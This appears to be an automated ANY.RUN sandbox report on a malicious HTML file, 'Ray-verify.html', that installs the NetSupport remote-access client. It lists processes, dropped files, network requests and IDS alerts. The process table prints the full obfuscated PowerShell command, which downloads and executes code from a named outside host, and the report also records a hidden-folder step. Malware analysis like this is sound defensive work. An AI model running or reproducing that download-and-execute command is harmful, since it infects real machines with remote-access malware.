| download: | /Ray-verify.html |
| Full analysis: | https://app.any.run/tasks/9031c238-248d-42c2-bb4a-6cc7971caf7c |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | October 21, 2024, 21:23:01 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/octet-stream |
| File info: | data |
| MD5: | 977BB6913B1F65A6472727EA4F362E97 |
| SHA1: | 1D1247A8F9359576C913E9586D72F0D51773B22C |
| SHA256: | CACE794532FFC2A8275C86E4248CA38CF85DFB209D630E05E049D6FE2047EA2E |
| SSDEEP: | 192:+YdzCOGbqUhwFRyC7lzBpi58Q0cW3O3AMw8+Ezgl02pmiV5ASidm4EcMvYf5:+YduOGPwFz7lzO58Q0m+0MnX4X |
MALICIOUS
Starts POWERSHELL.EXE for commands execution
- iexplore.exe (PID: 3556)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 2652)
Modifies registry (POWERSHELL)
- powershell.exe (PID: 2652)
Connects to the CnC server
- client32.exe (PID: 3732)
NETSUPPORT has been detected (SURICATA)
- client32.exe (PID: 3732)
SUSPICIOUS
Obfuscated call of IEX
- powershell.exe (PID: 2652)
Reads the Internet Settings
- powershell.exe (PID: 2652)
- client32.exe (PID: 3732)
Uses sleep to delay execution (POWERSHELL)
- powershell.exe (PID: 2652)
Process uses IPCONFIG to clear DNS cache
- powershell.exe (PID: 2652)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 2652)
Uses ATTRIB.EXE to modify file attributes
- cmd.exe (PID: 3776)
Potential Corporate Privacy Violation
- powershell.exe (PID: 2652)
- client32.exe (PID: 3732)
The process drops C-runtime libraries
- powershell.exe (PID: 2652)
Executable content was dropped or overwritten
- powershell.exe (PID: 2652)
Reads security settings of Internet Explorer
- client32.exe (PID: 3732)
Contacting a server suspected of hosting an CnC
- client32.exe (PID: 3732)
There is functionality for communication over UDP network (YARA)
- client32.exe (PID: 3732)
There is functionality for taking screenshot (YARA)
- client32.exe (PID: 3732)
Probably obfuscated PowerShell command line is found
- iexplore.exe (PID: 3556)
Connects to the server without a host name
- client32.exe (PID: 3732)
Requests information from PasteBin
- iexplore.exe (PID: 3700)
Process drops legitimate windows executable
- powershell.exe (PID: 2652)
INFO
Checks supported languages
- wmpnscfg.exe (PID: 1756)
- client32.exe (PID: 3732)
Application launched itself
- iexplore.exe (PID: 3556)
- iexplore.exe (PID: 1892)
Disables trace logs
- powershell.exe (PID: 2652)
Manual execution by a user
- wmpnscfg.exe (PID: 1756)
- notepad++.exe (PID: 1036)
Gets a random number, or selects objects randomly from a collection (POWERSHELL)
- powershell.exe (PID: 2652)
Drop NetSupport executable file
- powershell.exe (PID: 2652)
The process uses the downloaded file
- iexplore.exe (PID: 1892)
- powershell.exe (PID: 2652)
- iexplore.exe (PID: 3556)
Sends debugging messages
- notepad++.exe (PID: 1036)
Reads the computer name
- wmpnscfg.exe (PID: 1756)
- client32.exe (PID: 3732)
Checks proxy server information
- client32.exe (PID: 3732)
Reads the machine GUID from the registry
- client32.exe (PID: 3732)
Creates files or folders in the user directory
- client32.exe (PID: 3732)
The executable file from the user directory is run by the Powershell process
- client32.exe (PID: 3732)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .html | | | HyperText Markup Language (100) |
|---|
Total processes
53
Monitored processes
11
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 268 | "C:\Windows\system32\ipconfig.exe" /flushdns | C:\Windows\System32\ipconfig.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: IP Configuration Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1036 | "C:\Program Files\Notepad++\notepad++.exe" "C:\Users\admin\Desktop\Ray-verify.html" | C:\Program Files\Notepad++\notepad++.exe | explorer.exe | ||||||||||||
User: admin Company: Don HO don.h@free.fr Integrity Level: MEDIUM Description: Notepad++ : a free (GNU) source code editor Version: 7.91 Modules
| |||||||||||||||
| 1756 | "C:\Program Files\Windows Media Player\wmpnscfg.exe" | C:\Program Files\Windows Media Player\wmpnscfg.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Media Player Network Sharing Service Configuration Application Exit code: 0 Version: 12.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1892 | "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\admin\Desktop\Ray-verify.html | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 2128 | "C:\Windows\System32\MsSpellCheckingFacility.exe" -Embedding | C:\Windows\System32\MsSpellCheckingFacility.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Spell Checking Facility Version: 6.3.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 2652 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 3556 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:1892 CREDAT:144385 /prefetch:2 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 3672 | attrib +h C:\Users\admin\AppData\Roaming\KiJIYt | C:\Windows\System32\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Attribute Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3700 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:1892 CREDAT:333057 /prefetch:2 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 3732 | "C:\Users\admin\AppData\Roaming\KiJIYt\client32.exe" | C:\Users\admin\AppData\Roaming\KiJIYt\client32.exe | powershell.exe | ||||||||||||
User: admin Company: NetSupport Ltd Integrity Level: MEDIUM Description: NetSupport Client Application Version: V14.10 Modules
| |||||||||||||||
Total events
26 697
Read events
26 369
Write events
226
Delete events
102
Modification events
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing |
| Operation: | write | Name: | NTPDaysSinceLastAutoMigration |
Value: 1 | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing |
| Operation: | write | Name: | NTPLastLaunchLowDateTime |
Value: | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing |
| Operation: | write | Name: | NTPLastLaunchHighDateTime |
Value: 31138815 | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager |
| Operation: | write | Name: | NextCheckForUpdateLowDateTime |
Value: | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager |
| Operation: | write | Name: | NextCheckForUpdateHighDateTime |
Value: 31138815 | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main |
| Operation: | write | Name: | CompatibilityFlags |
Value: 0 | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
Executable files
8
Suspicious files
30
Text files
88
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1892 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 | binary | |
MD5:11E8885EFE9D42B9AF8DCD5EED481821 | SHA256:3CE7F220DE851955A79D8465683E4336AD9076A87C244DD95BB5C78459D99411 | |||
| 1892 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10D | der | |
MD5:6DCA837FC3188BB2431E53C4182BBED5 | SHA256:AF16E42EE286C2E1619AD3D02B2C2A3B2DF345DC91AA8B53BEDBC8FEF3E87FE5 | |||
| 1892 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | image | |
MD5:DA597791BE3B6E732F0BC8B20E38EE62 | SHA256:5B2C34B3C4E8DD898B664DBA6C3786E2FF9869EFF55D673AA48361F11325ED07 | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Roaming\KiJIYt\nskbfltr.inf | binary | |
MD5:26E28C01461F7E65C402BDF09923D435 | SHA256:D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368 | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Roaming\KiJIYt\client32.ini | text | |
MD5:7C6854F484A279E9642D2DAA9FBB9993 | SHA256:11D81C68223FB9F7B0F6E67225AA6239A5BA84B2639294CF93B759FDCF30E35C | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Roaming\KiJIYt\NSM.LIC | text | |
MD5:7067AF414215EE4C50BFCD3EA43C84F0 | SHA256:2050CC232710A2EA6A207BC78D1EAC66A4042F2EE701CDFEEE5DE3DDCDC31D12 | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Local\Temp\fhvprryc.ile.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Roaming\KiJIYt\client32.exe | executable | |
MD5:EE75B57B9300AAB96530503BFAE8A2F2 | SHA256:06A0A243811E9C4738A9D413597659CA8D07B00F640B74ADC9CB351C179B3268 | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Roaming\KiJIYt\pcicapi.dll | executable | |
MD5:DCDE2248D19C778A41AA165866DD52D0 | SHA256:9074FD40EA6A0CAA892E6361A6A4E834C2E51E6E98D1FFCDA7A9A537594A6917 | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Roaming\KiJIYt\PCICHEK.DLL | executable | |
MD5:A0B9388C5F18E27266A31F8C5765B263 | SHA256:313117E723DDA6EA3911FAACD23F4405003FB651C73DE8DEFF10B9EB5B4A058A | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
35
TCP/UDP connections
51
DNS requests
30
Threats
32
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1892 | iexplore.exe | GET | 304 | 2.19.126.163:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?101aa1232b9ce8ec | unknown | — | — | whitelisted |
1892 | iexplore.exe | GET | 304 | 2.19.126.163:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?51d49677ec0e7145 | unknown | — | — | whitelisted |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/2.png | unknown | — | — | unknown |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/3.png | unknown | — | — | unknown |
1892 | iexplore.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/1.png | unknown | — | — | unknown |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/4.png | unknown | — | — | unknown |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/8.png | unknown | — | — | unknown |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/o.png | unknown | — | — | unknown |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/6.png | unknown | — | — | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 224.0.0.252:5355 | — | — | — | whitelisted |
2564 | svchost.exe | 239.255.255.250:3702 | — | — | — | whitelisted |
1060 | svchost.exe | 224.0.0.252:5355 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1892 | iexplore.exe | 92.123.104.34:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
1892 | iexplore.exe | 2.19.126.163:80 | ctldl.windowsupdate.com | Akamai International B.V. | DE | whitelisted |
1892 | iexplore.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
2652 | powershell.exe | 166.1.160.211:80 | traversecityspringbreak.com | SPRINTLINK | US | unknown |
3732 | client32.exe | 104.26.0.231:80 | geo.netsupportsoftware.com | CLOUDFLARENET | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
api.bing.com |
| whitelisted |
www.bing.com |
| whitelisted |
ctldl.windowsupdate.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
traversecityspringbreak.com |
| unknown |
geo.netsupportsoftware.com |
| unknown |
iecvlist.microsoft.com |
| whitelisted |
r20swj13mr.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2652 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2652 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2652 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2652 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2652 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2652 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2652 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2652 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2652 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2652 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
4 ETPRO signatures available at the full report
Process | Message |
|---|---|
notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\SciLexer.dll
|
notepad++.exe | VerifyLibrary: certificate revocation checking is disabled
|
notepad++.exe | ED255D9151912E40DF048A56288E969A8D0DAFA3
|
notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\updater\gup.exe
|
notepad++.exe | VerifyLibrary: certificate revocation checking is disabled
|
notepad++.exe | ED255D9151912E40DF048A56288E969A8D0DAFA3
|
notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\plugins\Config\nppPluginList.dll
|
notepad++.exe | VerifyLibrary: certificate revocation checking is disabled
|
notepad++.exe | ED255D9151912E40DF048A56288E969A8D0DAFA3
|
notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\updater\gup.exe
|